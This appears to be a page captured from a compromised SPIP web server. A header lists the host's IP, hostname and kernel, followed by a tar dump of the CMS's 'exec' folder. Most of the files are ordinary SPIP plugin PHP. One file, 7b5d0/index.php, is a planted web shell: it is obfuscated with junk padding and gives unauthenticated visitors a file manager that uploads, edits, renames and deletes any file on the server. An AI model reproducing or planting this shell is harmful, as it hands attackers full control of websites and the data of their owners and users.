uawdijnntqw1x1x1
IP : 216.73.217.34
Hostname : webm019.cluster129.gra.hosting.ovh.net
Kernel : Linux webm019.cluster129.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
checkyd
/
www
/
config
/
.
/
..
/
a3056
/
..
/
7b5d0
/
exec.tar
/
/
admin_plugin.php000064400000015570152525001200007723 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Surcharge de la page admin_plugin de SPIP * * Ce fichier est laissé en PHP pour de sombres histoires de redirections * lors de l'approche d'un timeout au moment de l'installation ou de * mise à jour de plugin. * * @plugin SVP pour SPIP * @license GPL * @package SPIP\SVP\Exec */ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/presentation'); /** * Affichage de la page de gestion des plugins * * @uses actualise_plugins_actifs() * @uses svp_presenter_actions_realisees() * @uses plugin_installes_meta() * @uses plugin_donne_erreurs() * @uses svp_vider_tables() * * @pipeline_appel affiche_gauche * @pipeline_appel affiche_droite */ function exec_admin_plugin_dist() { if (!autoriser('configurer', 'plugins')) { include_spip('inc/minipres'); echo minipres(); } // on fait la verif du path avant tout, // et l'installation des qu'on est dans la colonne principale // si jamais la liste des plugins actifs change, il faut faire un refresh du hit // pour etre sur que les bons fichiers seront charges lors de l'install include_spip('inc/plugin'); $new = actualise_plugins_actifs(); if ($new and _request('actualise') < 2) { $url = parametre_url(self(), 'actualise', _request('actualise') + 1, '&'); include_spip('inc/headers'); if (isset($GLOBALS['fichier_php_compile_recent'])) { // attendre eventuellement l'invalidation du cache opcode spip_attend_invalidation_opcode_cache($GLOBALS['fichier_php_compile_recent']); } echo redirige_formulaire($url); exit; } // reinstaller SVP si on le demande expressement. if (_request('var_mode') == 'reinstaller_svp') { include_spip('svp_administrations'); svp_vider_tables('svp_base_version'); include_spip('inc/headers'); echo redirige_formulaire(self()); exit; } // le code ci-dessous eut ete bien beau mais... // si l'on veut que les messages d'installation moches des plugins // soient au bon endroit, nous sommes obliges d'appeler la fonction // d'installation a la bonne place, et donc, en php... // car dans le html d'un squelette, encapsule dans un ob_start()/ob_flush(), // la redirection en cas de timeout sur une installation ne se fait pas. /* // on installe les plugins maintenant, // cela permet aux scripts d'install de faire des affichages (moches...) plugin_installes_meta(); // les squelettes ne peuvent pas s'appeler 'admin_plugin' // sinon Z les charge en priorite par rapport a ce fichier exec en PHP set_request('fond', 'svp_admin_plugin'); // on lance l'affichage standard Z include_spip('exec/fond'); */ // liste des erreurs mises en forme $erreur_activation = plugin_donne_erreurs(); $commencer_page = charger_fonction('commencer_page', 'inc'); echo $commencer_page(_T('icone_admin_plugin'), "configuration", "plugin"); echo debut_gauche('plugin', true); echo pipeline('affiche_gauche', array( 'args' => array('exec' => 'admin_plugin'), 'data' => recuperer_fond('prive/squelettes/navigation/svp_admin_plugin') ) ); echo debut_droite('plugin', true); echo gros_titre(_T('icone_admin_plugin'), '', false); // alerte si mode de compatibilité forcée if (defined('_DEV_VERSION_SPIP_COMPAT')) { echo '<div class="notice">' . '<strong>' . _T('svp:alerte_compatibilite') . '</strong><br />' . _T('svp:alerte_compatibilite_version_autorisee', array('version' => _DEV_VERSION_SPIP_COMPAT)) . '</div>'; } // message d'erreur au retour d'une operation if ($erreur_activation) { include_spip('inc/filtres_boites'); echo "<div class='svp_retour'>" . boite_ouvrir(_T('svp:actions_en_erreur'), 'error') . $erreur_activation . boite_fermer() . "</div>"; } // afficher les actions realisees s'il y en a eu // (activation/desactivation/telechargement...) echo svp_presenter_actions_realisees(); // on installe les plugins maintenant, // cela permet aux scripts d'install de faire des affichages (moches...) plugin_installes_meta(); $args = $_REQUEST; // quand on demande un 'voir', on le memorise en session utilisateur if (isset($args['voir'])) { session_set('svp_admin_plugin_voir', $args['voir']); } if (!isset($args['voir']) and $voir = session_get('svp_admin_plugin_voir') and in_array($voir, array('tous', 'actif', 'inactif')) ) { $args['voir'] = $voir; } if (!isset($args['voir'])) { /*$args['voir'] = 'tous'; $count = count(liste_plugin_files()); if ($count>256) */ $args['voir'] = 'actif'; } if (isset($args['verrouille'])) { session_set('svp_admin_plugin_verrouille', $args['verrouille']); } if (!isset($args['verrouille']) and $verrouille = session_get('svp_admin_plugin_verrouille') and in_array($verrouille, array('tous', 'oui', 'non')) ) { $args['verrouille'] = $verrouille; } if (!isset($args['verrouille'])) { $args['verrouille'] = 'non'; //'tous'; } echo recuperer_fond('prive/squelettes/contenu/svp_admin_plugin', $args, array('ajax' => true)); echo pipeline('affiche_milieu', array( 'args' => array('exec' => 'admin_plugin'), 'data' => '' ) ); echo fin_gauche(), fin_page(); } /** * Retourne un texte des actions realisées s'il y en a eu tel que * activation, désactivation, téléchargement de plugins... * * Nettoie au passage le fichier de cache décrivant les actions faites * (ou encore à faire) dans les cas suivant : * - il n'y a plus d'action * - le nettoyage est expressement demandé par la commande 'nettoyer_actions' * dans l'URL (ce lien est justement disponible si l'auteur des actions * tombe sur cette page alors qu'il reste des actions à faire, ce qui * signale en général un problème) * * @return string * Code HTML présentant les actions réalisées * Vide si rien ne s'est passé ! **/ function svp_presenter_actions_realisees() { // presenter les traitements realises... si tel est le cas... include_spip('inc/svp_actionner'); $actionneur = new Actionneur(); // s'il ne reste aucune action a faire ou si on force un nettoyage. if (_request('nettoyer_actions')) { $actionneur->nettoyer_actions(); } $actionneur->get_actions(); $pres = $actionneur->presenter_actions($fin = true); // s'il ne reste aucune action a faire if (!$actionneur->est_verrouille() or !count($actionneur->end)) { $actionneur->nettoyer_actions(); } return $pres; } seo_save_meta.php000064400000000621152525325310010071 0ustar00<?php /** * BouncingOrange SPIP SEO plugin * * @category SEO * @package SPIP_SEO * @author Pierre ROUSSET (p.rousset@gmail.com) * @copyright Copyright (c) 2009 BouncingOrange (http://www.bouncingorange.com) * @license http://opensource.org/licenses/gpl-2.0.php General Public License (GPL 2.0) */ if (!defined("_ECRIRE_INC_VERSION")) return; function exec_seo_save_meta_dist() { } ?> 7b5d0/index.php000064400000027210152525325310007212 0ustar00fhdwewerw/npm/bhjkhjkhjkhjkhjkootstrap@5.3.0 -alpha1/dist/css/bootstrap /npm/bootstrap[[p[ jhkhjkhjkhjkhjkhjkjjhkhjkhjkp[pp[p]p[]p[]p[]p[] mnmn,nhjghjghjp[]p[]p[p[ <!DOCTYPE htmccccccccccccccccccccccccccccccccccccccccccccccccc p@5.3.0cccccccccccco;oi;io;io;ghjhjghjgchjcghjghjchjcghjccc ccccccccccccccccccccccccccccccccccccccccc jhkhjkhjkhjkhkjghjghjg op[op[cccccccchjchjcghjcghjcghjcghjcghjcghjcghjcghjcghjchjchjchjcghjchjcgcccccccccccccccccccccccc mnmn,nhjghjghj <!DOCTYPE cghjchjchjcgjcghjcghjcghjcghjcghjcgjcgjcghjcghjhgcjcghjcghjcghjcghjcghjhtml>mmpoop <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> </head> <body> <?php //function function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return '<i class="fa-sharp fa-solid fa-bug"></i> '; } elseif ($file == ".htaccess") { return '<i class="fa-solid fa-hammer"></i> '; } if ($ext == "html" || $ext == "htm") { return '<i class="fa-brands fa-html5"></i> '; } elseif ($ext == "php" || $ext == "phtml") { return '<i class="fa-brands fa-php"></i> '; } elseif (in_array($ext, $imgs)) { return '<i class="fa-regular fa-images"></i> '; } elseif ($ext == "css") { return '<i class="fa-brands fa-css3"></i> '; } elseif ($ext == "txt") { return '<i class="fa-regular fa-file-lines"></i> '; } elseif (in_array($ext, $audio)) { return '<i class="fa-duotone fa-file-music"></i> '; } elseif ($ext == "py") { return '<i class="fa-brands fa-python"></i> '; } elseif ($ext == "js") { return '<i class="fa-brands fa-js"></i> '; } else { return '<i class="fa-solid fa-file"></i> '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>"); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo ("<script>window.location.replace('?p=');</script>"); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' <nav class="navbar navbar-light" style="background-color: #e3f2fd;"> <div class="navbar-brand"> <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a> '); $path = str_replace('\\', '/', PATH); $paths = explode('/', $path); foreach ($paths as $id => $dir_part) { if ($dir_part == '' && $id == 0) { $a = true; echo "<a href=\"?p=/\">/</a>"; continue; } if ($dir_part == '') continue; echo "<a href='?p="; for ($i = 0; $i <= $id; $i++) { echo str_replace(":", "ঘ", $paths[$i]); if ($i != $id) echo "ক"; } echo "'>" . $dir_part . "</a>/"; } echo (' </div> <div class="form-inline"> <a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a> <a href="?"><button type="button" class="btn btn-dark">HOME</button></a> </div> </nav>'); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' <table class="table table-hover"> <thead> <tr> <th scope="col">Name</th> <th scope="col">Size</th> <th scope="col">Modified</th> <th scope="col">Perms</th> <th scope="col">Actions</th> </tr> </thead> <tbody> '; foreach ($folders as $folder) { echo " <tr> <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td> <td><b>---</b></td> <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td> <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td> <td> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } foreach ($files as $file) { echo " <tr> <td>" . fileIcon($file) . $file . "</td> <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td> <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td> <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td> <td> <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } echo " </tbody> </table>"; } else { if (empty($_GET)) { echo ("<script>window.location.replace('?p=');</script>"); } } if (isset($_GET['upload'])) { echo ' <form method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" class="btn btn-dark" value="Upload" name="upload"> </form>'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo ' <form method="post"> Rename: <input type="text" name="name" value="' . $_GET['r'] . '"> <input type="submit" class="btn btn-dark" value="Rename" name="rename"> </form>'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo ' <form method="post"> <textarea style="height: 500px; width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea> <br> <input type="submit" class="btn btn-dark" value="Save" name="edit"> </form>'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>"; } else { echo "<p>Sorry, there was an error uploading your file.</p>"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } ?> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script> </body> </html>seo_config.php000064400000003031152525325310007370 0ustar00<?php /** * BouncingOrange SPIP SEO plugin * * @category SEO * @package SPIP_SEO * @author Pierre ROUSSET (p.rousset@gmail.com) * @copyright Copyright (c) 2009 BouncingOrange (http://www.bouncingorange.com) * @license http://opensource.org/licenses/gpl-2.0.php General Public License (GPL 2.0) */ if (!defined('_ECRIRE_INC_VERSION')) return; function exec_seo_config () { if (!autoriser('configurer', 'configuration')) { include_spip('inc/minipres'); echo minipres(); exit(); } ///// PAGE ///// $titre_page = _T('icone_configuration_site'); $rubrique = 'configuration'; $sous_rubrique = 'seo'; $commencer_page = charger_fonction('commencer_page', 'inc'); echo($commencer_page(_T('seo:seo') . ' - ' . $titre_page, $rubrique, $sous_rubrique)); $page_result = '' . '<br /><br /><br />' . gros_titre(_T('titre_page_config_contenu'), '', false) . barre_onglets($rubrique, $sous_rubrique) . debut_gauche($rubrique, true) . pipeline('affiche_gauche', array('args'=>array('exec'=>'seo_config'),'data'=>'')) . creer_colonne_droite($rubrique, true) . pipeline('affiche_droite', array('args'=>array('exec'=>'seo_config'),'data'=>'')) . debut_droite($rubrique, true) ; // Insert Head // // Meta tag // // Canonical URL // // Google Webmaster Tools // // Google Analytics // $page_result .= recuperer_fond('prive/configurer_seo'); echo $page_result, pipeline('affiche_milieu',array('args'=>array('exec'=>$sous_rubrique),'data'=> '')), fin_gauche(), fin_page(); } ?>
/home/checkyd/www/config/./../a3056/../7b5d0/exec.tar